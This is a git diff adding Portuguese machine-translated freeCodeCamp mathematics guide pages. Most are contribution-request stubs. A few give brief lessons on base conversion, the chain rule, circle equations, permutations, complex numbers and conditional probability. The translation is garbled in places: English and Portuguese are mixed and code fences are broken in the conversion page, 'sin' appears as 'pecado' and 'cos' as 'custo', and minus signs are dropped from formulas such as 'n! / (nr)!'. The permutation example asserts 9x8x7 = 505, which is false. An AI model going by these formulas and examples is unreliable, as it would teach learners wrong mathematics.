+++ b/client/src/guide/portuguese/mathematics/basis/index.md
@@ -0,0 +1,11 @@
+---
+title: Basis
+localeTitle: Base
+---
+## Base
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/basis/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/bayes-theorem/index.md b/client/src/guide/portuguese/mathematics/bayes-theorem/index.md
new file mode 100644
index 0000000000..755493b9eb
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/bayes-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Bayes Theorem
+localeTitle: Teorema de Bayes
+---
+## Teorema de Bayes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/bayes-theorem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/binary-decimal-hex-conversion/index.md b/client/src/guide/portuguese/mathematics/binary-decimal-hex-conversion/index.md
new file mode 100644
index 0000000000..3761b72813
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/binary-decimal-hex-conversion/index.md
@@ -0,0 +1,47 @@
+---
+title: Binary Decimal Hexadecimal Conversion
+localeTitle: Conversão Hexadecimal Decimal Binária
+---
+# Conversão:
+
+Você pode facilmente converter números de uma base para outra, aplicando a definição do número baseado em n, que requer que você saiba como o nosso sistema posicional funciona: Vamos começar de um número de dois dígitos como `12` por exemplo. Para obter seu valor de base-10, precisamos multiplicar seu dígito único por `10^n` onde n é a posição do dígito, começando da direita e contando a partir de 0. Então, simplesmente somamos todos os valores. Por exemplo, o valor de base 10 de `12` será obtido desta maneira:
+
+\`\` \` 1 _(10 ^ 1) + 2_ (10 ^ 0) = 10 + 2 = 12
+```
+This was obvious but what if you had a base-2 number and wanted to know its base-10 value? 
+ First of all mind that a base n number only has `n` total symbols to represent its values. 
+ In the binary base we have then just 2 (base-2) symbols: `1` and `0`. 
+ Applying the procedure you have seen before you will be able to obtain a decimal number starting from a binary one like `101`: 
+```
+
+101 = 1 _(2 ^ 2) + 0_ (2 ^ 1) + 1 \* (2 ^ 0) = 4 + 0 + 1 = 5
+```
+In the same way a hexadecimal (base-16) number has 16 symbols to represent its values: `0, 1, 2, 3, 4, 5, 6 ,7, 8, 9, A, B, C, D, E, F`. 
+ Converting a base-16 number like `7AF` to a decimal will be easy then: 
+```
+
+7AF = 7 _(16 ^ 2) + A_ (16 ^ 1) + F _(16 ^ 0) = 7_ 256 + 10 _16 + 15_ 1 = 1967
+```
+What if you wished to convert a decimal number into a n-based number? 
+ A common way to accomplish this is dividing the decimal number by the n base repeatedly. 
+ Take note of all remainders, and when your quotient reaches 0 stop. 
+ Now simply write all your remainders setting the last one as the most significant digit (your newly converted n-based number should have as last digit your first remainder). 
+ EG: Let's convert the base-10 `12` to its base-2 value 
+```
+
+12/2 = 6 com o restante 0 6/2 = 3 com o restante 0 3/2 = 1 com o restante 1 1/2 = 0 com o restante 1
+
+base-10 12 = base-2 1100 \`\` \` Agora, usando o primeiro método escrito acima, você pode verificar se tudo funcionou bem:
+
+`1100 = 1*(2^3) + 1*(2^2) + 0*(2^1) + 0*(2^0) = 8+4+0+0 = 12`
+
+## Conversor Hexadecimal Decimal Binário
+
+Um conversor Binário, decimal e hexadecimal é uma ferramenta que permite converter um número no correspondente, expresso em um sistema numérico diferente. Os sistemas numéricos permitidos são `base-2` (binário), `base-10` (decimal), que é o que geralmente usamos e `base-16` (hexadecimal). Existem muitas dessas ferramentas disponíveis on-line:
+
+*   [Conversor Binário Hex](www.binaryhexconverter.com/)
+*   [Web site da calculadora](http://www.calculator.net/) Normalmente calculadoras científicas também incluem ferramentas de conversão de base e na calculadora padrão do MacOSX você pode usar essa função usando a visualização do programador pressionando `Cmd+3` ou no menu `View->Programmer` .
+
+### Seu próprio conversor:
+
+Uma boa ideia para praticar a programação e entender completamente a conversão de números seria codificar sua própria ferramenta de conversão online. Se você quiser saber mais sobre este tópico, por favor, verifique [esta entrada wikipedia](https://en.wikipedia.org/wiki/Positional_notation) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/binomial-distribution/index.md b/client/src/guide/portuguese/mathematics/binomial-distribution/index.md
new file mode 100644
index 0000000000..f3825d958e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/binomial-distribution/index.md
@@ -0,0 +1,18 @@
+---
+title: Binomial Distribution
+localeTitle: Distribuição binomial
+---
+Se X ~ B (n, p) então: P (X = x) = (n / x) p ^ x multiplicado por (1-p) ^ (nx)
+
+![Probabilidade](https://wikimedia.org/api/rest_v1/media/math/render/svg/d33401621fb832dd2f9783e80a906d562f669008)
+
+![Diagrama](https://wikimedia.org/api/rest_v1/media/math/render/svg/38d86cba65d40f015a2b807d2b736250805abe45)
+
+Se X ~ B (n, p) então: E (X) = np Var (X) = np (1-p)
+
+Distribuições binomiais só ocorrem se:
+
+*   Há um número fixo de tentativas, n.
+*   Cada tentativa deve ser um sucesso ou um fracasso.
+*   A probabilidade de sucesso (p) é constante em cada tentativa.
+*   Ensaios independentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/calculating-conditional-probability/index.md b/client/src/guide/portuguese/mathematics/calculating-conditional-probability/index.md
new file mode 100644
index 0000000000..dd89302657
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/calculating-conditional-probability/index.md
@@ -0,0 +1,11 @@
+---
+title: Calculating Conditional Probability
+localeTitle: Calculando Probabilidade Condicional
+---
+## Calculando Probabilidade Condicional
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/calculating-conditional-probability/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/calculating-standard-deviation-step-by-step/index.md b/client/src/guide/portuguese/mathematics/calculating-standard-deviation-step-by-step/index.md
new file mode 100644
index 0000000000..fc76f928ca
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/calculating-standard-deviation-step-by-step/index.md
@@ -0,0 +1,11 @@
+---
+title: Calculating Standard Deviation Step by Step
+localeTitle: Calculando Desvio Padrão Passo a Passo
+---
+## Calculando Desvio Padrão Passo a Passo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/calculating-standard-deviation-step-by-step/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/calculations-with-months/index.md b/client/src/guide/portuguese/mathematics/calculations-with-months/index.md
new file mode 100644
index 0000000000..1fe701ce3d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/calculations-with-months/index.md
@@ -0,0 +1,11 @@
+---
+title: Calculations with Months
+localeTitle: Cálculos com meses
+---
+## Cálculos com meses
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/calculations-with-months/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/central-limit-theorem/index.md b/client/src/guide/portuguese/mathematics/central-limit-theorem/index.md
new file mode 100644
index 0000000000..df202bcf5a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/central-limit-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Central Limit Theorem
+localeTitle: Teorema do limite central
+---
+## Teorema do limite central
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/central-limit-theorem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/chain-rule-introduction/index.md b/client/src/guide/portuguese/mathematics/chain-rule-introduction/index.md
new file mode 100644
index 0000000000..a0c664aee8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/chain-rule-introduction/index.md
@@ -0,0 +1,81 @@
+---
+title: Chain Rule Introduction
+localeTitle: Introdução à Regra de Cadeia
+---
+# Introdução à Regra de Cadeia
+
+A regra de cadeia é usada para calcular a derivada de uma composição de funções.
+
+Seja _F_ uma função de valor real que é um composto de duas funções _f_ e _g_ ie `F(x) = f(g(x))` e ambos f (x) eg (x) são diferenciáveis. Deixe a derivada D {F (x)} é denotada como F '(x).
+
+Por regra de cadeia,
+
+#### _`F'(x) = f'(g(x)).g'(x)`_
+
+Suponha que g (x) = t então F (x) = f (g (x)) pode ser reescrito como F (x) = f (t) então, na notação de Leibniz, a Regra da Cadeia pode ser reescrita como:
+
+#### `d(F)/dx = df/dt . dt/dx`
+
+### Exemplo 1. Para calcular o derivado do pecado (ax + b)
+
+Solução: A função pode ser visualizada como uma composição de duas funções. F (x) = f (g (x))
+
+t = g (x) = ax + b e f (t) = sin (t)
+
+f (t) = sin (t) => df / dt = cos (t)
+
+t = g (x) = ax + b => dt / dx = a
+
+Agora por regra de cadeia:
+
+d (F) / dx = df / dt. dt / dx
+
+\=> d (F) / dx = a. custo (t) = a.cos (ax + b)
+
+OU
+
+Podemos aplicar diretamente a fórmula F '(x) = f' (g (x)). G '(x) = cos (ax + b). uma
+
+## Para uma composição composta de mais de duas funções:
+
+Seja _F_ uma função de valor real que é um composto de quatro funções _rstu_ ie `F(x)=r(s(t(u(x))))` e todas as funções _r (x) s (x) t (x) u (x)_ são diferenciáveis. Deixe a derivada D {F (x)} é denotada como F '(x).
+
+Por regra de cadeia,
+
+#### _`F'(x) = r'(s(t(u(x)))).s'(t(u(x))).t'(u(x)).u'(x)`_
+
+Suponha que a = u (x), b = t (a), c = s (b) então F (x) = r (s (t (u (x)))) pode ser reescrito como F (x ) = r (c)
+
+então, F (x) = r (c) => d (F) / dx = dr / dc. dc / dx \_\_\_ (eqn 1)
+
+c = s (b) => dc / dx = ds / db. db / dx \_\_\_ (eqn 2)
+
+b = t (a) => db / dx = dt / da. da / dx \_\_\_ (eqn 3)
+
+a = u (x) => da / dx = du / dx \_\_\_ (eqn 4)
+
+Colocando o valor de eqn 2 3 4 na eqn 1, obteremos:
+
+#### `d(F)/dx = dr/dc . ds/db . dt/da . du/dx`
+
+### Exemplo 2. Para calcular a derivada do pecado (cos ((mx + n) ^ 3))
+
+Solução: A função pode ser visualizada como uma composição de quatro funções. F (x) = r (s (t (u (x))))
+
+onde a = u (x) = mx + n
+
+b = t (a) = a ^ 3
+
+c = s (b) = cos (b) então F (x) = r (s (t (u (x)))) pode ser reescrito como F (x) = r (c) = sin (c)
+
+Agora, por regra da cadeia: d (F) / dx = dr / dc. ds / db. dt / da. du / dx
+
+\=> d (F) / dx = cos (c). -sin (b). 3a ^ 2. m
+
+\=> d (F) / dx = cos (cos ((mx + n) ^ 3)). -sin ((mx + n) ^ 3)). 3 (mx + n) ^ 2. m
+
+OU
+
+Podemos aplicar diretamente a fórmula,
+
+F '(x) = r' (s (t (u (x)))). S '(t (u (x))). T' (u (x)). U '(x) = cos ( cos ((mx + n) ^ 3)). -sin ((mx + n) ^ 3)). 3 (mx + n) ^ 2. m
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/circle-equations/index.md b/client/src/guide/portuguese/mathematics/circle-equations/index.md
new file mode 100644
index 0000000000..1a6b9185ae
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/circle-equations/index.md
@@ -0,0 +1,41 @@
+---
+title: Circle Equations
+localeTitle: Equações do Círculo
+---
+## Equações do Círculo
+
+![Círculo centrado em (x0, y0) com raio r, um ponto P (x, y) no círculo e ângulo t](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_2.gif)
+
+### 1\. Forma centro-raio:
+
+Círculo com centro _**(x 0 , y 0 )**_ e raio **_r_** .
+
+A equação do círculo pode ser representada como:
+
+![(x-x0) ^ 2 + (y-y0) ^ 2 = r ^ 2](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_3.png)
+
+#### Equação Geral de um Círculo:
+
+![x ^ 2 + y ^ 2 + 2gx + 2fy + c = 0](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_6.png)
+
+onde, `g` , `f` e `c` são constantes.
+
+Assim sendo,
+
+![x0 = (-g), y0 = (-f), er = raiz quadrada de (g ^ 2 + f ^ 2 -c)](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_9.png)
+
+### 2\. forma paramétrica:
+
+Círculo com centro _**(x 0 , y 0 )**_ e raio faz um ângulo **_t_** com a direção positiva do _eixo x_ , então **_t_** é chamado de `parameter` .
+
+A equação do círculo pode ser representada como:
+
+![x = x0 + rcos (t), y = y0 + rsin (t)](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_4.png)
+
+para,
+
+![0 <= t <= 2 pi](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_5.png)
+
+### Mais Informações:
+
+[Equação de um círculo](http://mypages.valdosta.edu/alazari/math1111/Circle.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/circle/index.md b/client/src/guide/portuguese/mathematics/circle/index.md
new file mode 100644
index 0000000000..6e183a7816
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/circle/index.md
@@ -0,0 +1,19 @@
+---
+title: Circle
+localeTitle: Círculo
+---
+## Círculo
+
+Um círculo é uma forma fechada em que todos os pontos estão à mesma distância do centro.
+
+A distância de um ponto ao centro é chamada de raio (R).
+
+A distância de um ponto, passando pelo centro para outro ponto, é chamada de diâmetro (D).
+
+A distância ao redor do círculo é chamada de circunferência (C).
+
+![circle](https://upload.wikimedia.org/wikipedia/commons/thumb/0/03/Circle-withsegments.svg/612px-Circle-withsegments.svg.png "círculo")
+
+#### Mais Informações:
+
+Mais informações com ilustrações podem ser encontradas aqui: https://en.wikipedia.org/wiki/Circle
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/combinations-and-permutations/index.md b/client/src/guide/portuguese/mathematics/combinations-and-permutations/index.md
new file mode 100644
index 0000000000..92ee540068
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/combinations-and-permutations/index.md
@@ -0,0 +1,31 @@
+---
+title: Combinations and Permutations
+localeTitle: Combinações e Permutações
+---
+## Combinações e Permutações
+
+Digamos que você tenha 9 pessoas competindo para entrar nos três primeiros de um torneio de golfe. Quantas possibilidades diferentes existem para os três primeiros lugares no torneio? Bem, se escolhermos o primeiro lugar em primeiro lugar, temos 9 pessoas para escolher. Depois disso, teríamos 8 para escolher o segundo lugar e 7 para o terceiro lugar. Para calcular o total, basta multiplicá-los juntos:
+
+9x8x7 = 505
+
+Este é um exemplo de permutação. Uma permutação é o número de diferentes possibilidades ordenadas que podem ocorrer em uma determinada situação. Uma permutação pode ser com ou sem repetição, assim como uma combinação. Se dissermos que há uma permutação para n coisas com possibilidades, as fórmulas serão:
+
+\##### **Com repetição:** n ^ r
+
+\##### **Sem repetição:** n! / (nr)!
+
+Voltando ao problema no topo, e se eles estivessem sentados em três cadeiras idênticas em vez de terem classificações? Este é um exemplo de uma combinação. Em uma combinação, a ordem não importa. Portanto, toda permutação da mesma combinação deve ser eliminada. Isso cria mais duas fórmulas:
+
+\##### **Com repetição:** (r + n-1)! / (r! (n-1)!)
+
+\##### **Sem repetição:** n! / (r! (nr)!)
+
+### Fontes
+
+"Combinações e Permutações". Math is Fun, www.mathsisfun.com/combinatorics/combinations-permutations.html.
+
+[Ajude nossa comunidade a expandir este artigo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/combinations-and-permutations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/complementary-angles/index.md b/client/src/guide/portuguese/mathematics/complementary-angles/index.md
new file mode 100644
index 0000000000..728612c704
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/complementary-angles/index.md
@@ -0,0 +1,21 @@
+---
+title: Complementary Angles
+localeTitle: Ângulos complementares
+---
+# Ângulos complementares
+
+## Definição
+
+Dois ângulos que (somados) têm uma soma de 90 °, são chamados de ângulos complementares.
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Complementary-angles/comp1.png)
+
+Os ângulos complementares não precisam estar próximos um do outro, contanto que o total seja de 90 °.
+
+### Por exemplo :
+
+Nas figuras acima, diagramas `a.` e `b.` mostram que os ângulos complementares são _adjacentes_ , enquanto em `c.` e `d.` , os ângulos complementares _não_ são _adjacentes_ .
+
+## Mais Informações:
+
+[Ângulos complementares](https://www.mathsisfun.com/geometry/complementary-angles.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/completing-the-square-circle-equations/index.md b/client/src/guide/portuguese/mathematics/completing-the-square-circle-equations/index.md
new file mode 100644
index 0000000000..bbaef209e7
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/completing-the-square-circle-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Completing the Square Circle Equations
+localeTitle: Completando as equações do círculo quadrado
+---
+## Completando as equações do círculo quadrado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/completing-the-square-circle-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/completing-the-square-finding-the-vertex/index.md b/client/src/guide/portuguese/mathematics/completing-the-square-finding-the-vertex/index.md
new file mode 100644
index 0000000000..1dd4ace41d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/completing-the-square-finding-the-vertex/index.md
@@ -0,0 +1,11 @@
+---
+title: Completing the Square Finding the Vertex
+localeTitle: Completando o quadrado Encontrando o vértice
+---
+## Completando o quadrado Encontrando o vértice
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/completing-the-square-finding-the-vertex/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/completing-the-square-solving-quadratic-equations/index.md b/client/src/guide/portuguese/mathematics/completing-the-square-solving-quadratic-equations/index.md
new file mode 100644
index 0000000000..ff6d7111a9
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/completing-the-square-solving-quadratic-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Completing the Square Solving Quadratic Equations
+localeTitle: Completando as equações quadráticas de resolução quadrada
+---
+## Completando as equações quadráticas de resolução quadrada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/completing-the-square-solving-quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/completing-the-square/index.md b/client/src/guide/portuguese/mathematics/completing-the-square/index.md
new file mode 100644
index 0000000000..0db0b8b6c8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/completing-the-square/index.md
@@ -0,0 +1,11 @@
+---
+title: Completing the Square
+localeTitle: Completando o quadrado
+---
+## Completando o quadrado
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/completing-the-square/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/complex-fractions/index.md b/client/src/guide/portuguese/mathematics/complex-fractions/index.md
new file mode 100644
index 0000000000..d00f74f374
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/complex-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Complex Fractions
+localeTitle: Frações Complexas
+---
+## Frações Complexas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/complex-fractions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/complex-numbers-introduction/index.md b/client/src/guide/portuguese/mathematics/complex-numbers-introduction/index.md
new file mode 100644
index 0000000000..689acf3ec1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/complex-numbers-introduction/index.md
@@ -0,0 +1,31 @@
+---
+title: Complex Numbers Introduction
+localeTitle: Números Complexos Introdução
+---
+## Números Complexos Introdução
+
+Um número complexo é qualquer número que possa ser expresso na forma de z = a + ib.
+
+![Eu](https://www.codeproject.com/KB/cpp/882975/SquareRoot1.png)
+
+a é chamada de parte real do número complexo e b é chamada de parte imaginária.
+
+#### Nota
+
+Um número imaginário puro ou um número real puro também é um número complexo.
+
+#### Exemplos
+
+1.  Qual é a parte real de 2i + 1? Parte real: 1
+    
+2.  Qual é a parte imaginária de 2 - 4i? A. parte imaginária: -4
+    
+3.  É um número complexo z = 2i? R. Sim, porque podemos escrever esse número como z = 0 + 2i.
+    
+4.  É um número complexo z = 4? R. Sim, porque podemos escrever esse número como z = 4 + 0i.
+    
+
+#### Mais Informações:
+
+*   [Wikipedia: Números Complexos](https://en.wikipedia.org/wiki/Complex_number)
+*   [Mais Informações](https://www.khanacademy.org/math/algebra2/introduction-to-complex-numbers-algebra-2/the-complex-numbers-algebra-2/a/intro-to-complex-numbers)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/composition-of-functions-composing-functions-with-functions/index.md b/client/src/guide/portuguese/mathematics/composition-of-functions-composing-functions-with-functions/index.md
new file mode 100644
index 0000000000..d0703d7bca
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/composition-of-functions-composing-functions-with-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Composition of Functions Composing Functions with Functions
+localeTitle: Composição de funções Compondo funções com funções
+---
+## Composição de funções Compondo funções com funções
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/composition-of-functions-composing-functions-with-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/composition-of-functions/index.md b/client/src/guide/portuguese/mathematics/composition-of-functions/index.md
new file mode 100644
index 0000000000..addd0347ba
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/composition-of-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Composition of Functions
+localeTitle: Composição de Funções
+---
+## Composição de Funções
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/composition-of-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/compute-determinant-of-matrix-simulink/index.md b/client/src/guide/portuguese/mathematics/compute-determinant-of-matrix-simulink/index.md
new file mode 100644
index 0000000000..10e7be7a29
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/compute-determinant-of-matrix-simulink/index.md
@@ -0,0 +1,11 @@
+---
+title: Compute Determinant of Matrix Simulink
+localeTitle: Determinante de computação do Simulink de matriz
+---
+## Determinante de computação do Simulink de matriz
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/compute-determinant-of-matrix-simulink/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/conditional-probability-with-bayes-theorem/index.md b/client/src/guide/portuguese/mathematics/conditional-probability-with-bayes-theorem/index.md
new file mode 100644
index 0000000000..99eb4d3a10
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/conditional-probability-with-bayes-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Conditional Probability with Bayes Theorem
+localeTitle: Probabilidade condicional com o teorema de Bayes
+---
+## Probabilidade condicional com o teorema de Bayes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/conditional-probability-with-bayes-theorem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/conditional-probability/index.md b/client/src/guide/portuguese/mathematics/conditional-probability/index.md
new file mode 100644
index 0000000000..f66aef25d5
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/conditional-probability/index.md
@@ -0,0 +1,18 @@
+---
+title: Conditional Probability
+localeTitle: Probabilidade Condicional
+---
+## Probabilidade Condicional
+
+Uma probabilidade condicional é a probabilidade de um evento, dado que algum outro evento já ocorreu. Assim, por exemplo, a probabilidade condicional de um evento **A** é a probabilidade de que o evento ocorrerá, dado que um evento **B** já ocorreu. Essa probabilidade é denotada como `P(A|B)` .
+
+A probabilidade condicional de um evento **A,** dado que um evento **B** ocorreu, é escrita da seguinte forma:
+
+![fórmula de probabilidade condicional](https://pbiswas101.files.wordpress.com/2018/10/conditional-probability.png?w=450) **contanto que P (B)> 0**
+
+**NOTA** - No caso onde os eventos **A** e **B** são independentes (onde o evento **B** não tem efeito na probabilidade do evento **A** ), a probabilidade condicional do evento **A** dado evento **B** é simplesmente a probabilidade do evento **A** , ie `P(A)` .
+
+### Recursos
+
+*   [Probabilidade Condicional - Wikipedia](https://en.wikipedia.org/wiki/Conditional_probability)
+*   [MIT OpenCourseWare - Youtube](https://www.youtube.com/watch?v=JGeTcRfKgBo)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/confidence-intervals/index.md b/client/src/guide/portuguese/mathematics/confidence-intervals/index.md
new file mode 100644
index 0000000000..0e74ca6f3a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/confidence-intervals/index.md
@@ -0,0 +1,11 @@
+---
+title: Confidence Intervals
+localeTitle: Intervalos de Confiança
+---
+## Intervalos de Confiança
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/confidence-intervals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/congruent/index.md b/client/src/guide/portuguese/mathematics/congruent/index.md
new file mode 100644
index 0000000000..ac0ec0310d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/congruent/index.md
@@ -0,0 +1,17 @@
+---
+title: Congruent
+localeTitle: Congruente
+---
+## Congruente
+
+Congruência é uma idéia que significa que, independentemente de sua localização, posição ou direção, duas ou mais figuras geométricas têm a mesma forma e tamanho. Quando duas ou mais coisas têm congruência, elas são chamadas congruentes.
+
+Operações que resultam em números congruentes incluem: Girar Refletir Traduzir
+
+Operações que resultam em números congruentes NÃO incluem: Dilatação
+
+Curiosamente, dilatar uma forma por uma determinada figura de escala não produzirá formas congruentes. Mas as formas serão semelhantes e preservarão as proporções lado / ângulo.
+
+#### Mais Informações:
+
+[Aqui está um guia](https://www.mathsisfun.com/geometry/congruent.html) para informações sobre como produzir formas congruentes
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/conics-hyperbolas-introduction/index.md b/client/src/guide/portuguese/mathematics/conics-hyperbolas-introduction/index.md
new file mode 100644
index 0000000000..a0b3e1762d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/conics-hyperbolas-introduction/index.md
@@ -0,0 +1,11 @@
+---
+title: Conics Hyperbolas Introduction
+localeTitle: Introdução às cônicas hipérbicas
+---
+## Introdução às cônicas hipérbicas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/conics-hyperbolas-introduction/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
